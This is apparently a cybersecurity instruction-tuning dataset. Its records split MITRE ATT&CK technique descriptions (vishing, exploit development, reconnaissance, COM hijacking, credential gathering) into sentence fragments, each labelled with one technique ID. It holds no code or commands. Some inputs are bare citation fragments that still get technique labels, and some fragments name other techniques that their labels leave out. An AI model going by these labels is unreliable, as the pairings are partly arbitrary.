Input: It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656))", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "and/or creating a sense of urgency or alarm for the recipient.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: and/or creating a sense of urgency or alarm for the recipient. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation:", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219))", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing) ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may build capabilities that can be used during targeting.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may build capabilities that can be used during targeting. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Promethium June 2020)", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Promethium June 2020) ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing capabilities.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing capabilities. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop exploits that can be used during targeting.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop exploits that can be used during targeting. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet)", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation:", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Irongeek Sims BSides 2017)", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Irongeek Sims BSides 2017) ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing exploits.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing exploits. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting.", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation:", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecurityTrails Google Hacking)(Citation:", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecurityTrails Google Hacking)(Citation: ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExploitDB", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExploitDB ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GoogleHacking)", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GoogleHacking) ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different online sites depending on what information they seek to gather.", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different online sites depending on what information they seek to gather. ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search social media for information about victims that can be used during targeting.", "output": "T1593.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search social media for information about victims that can be used during targeting. ### Response: T1593.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.", "output": "T1593.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. ### Response: T1593.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different social media sites depending on what information they seek to gather.", "output": "T1593.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different social media sites depending on what information they seek to gather. ### Response: T1593.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "output": "T1593.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). ### Response: T1593.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking)", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", "output": "T1546.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ### Response: T1546.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's identity that can be used during targeting.", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's identity that can be used during targeting. ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation:", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Forbes GitHub Creds)(Citation:", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Forbes GitHub Creds)(Citation: ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credentials that can be used during targeting.", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credentials that can be used during targeting. ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other 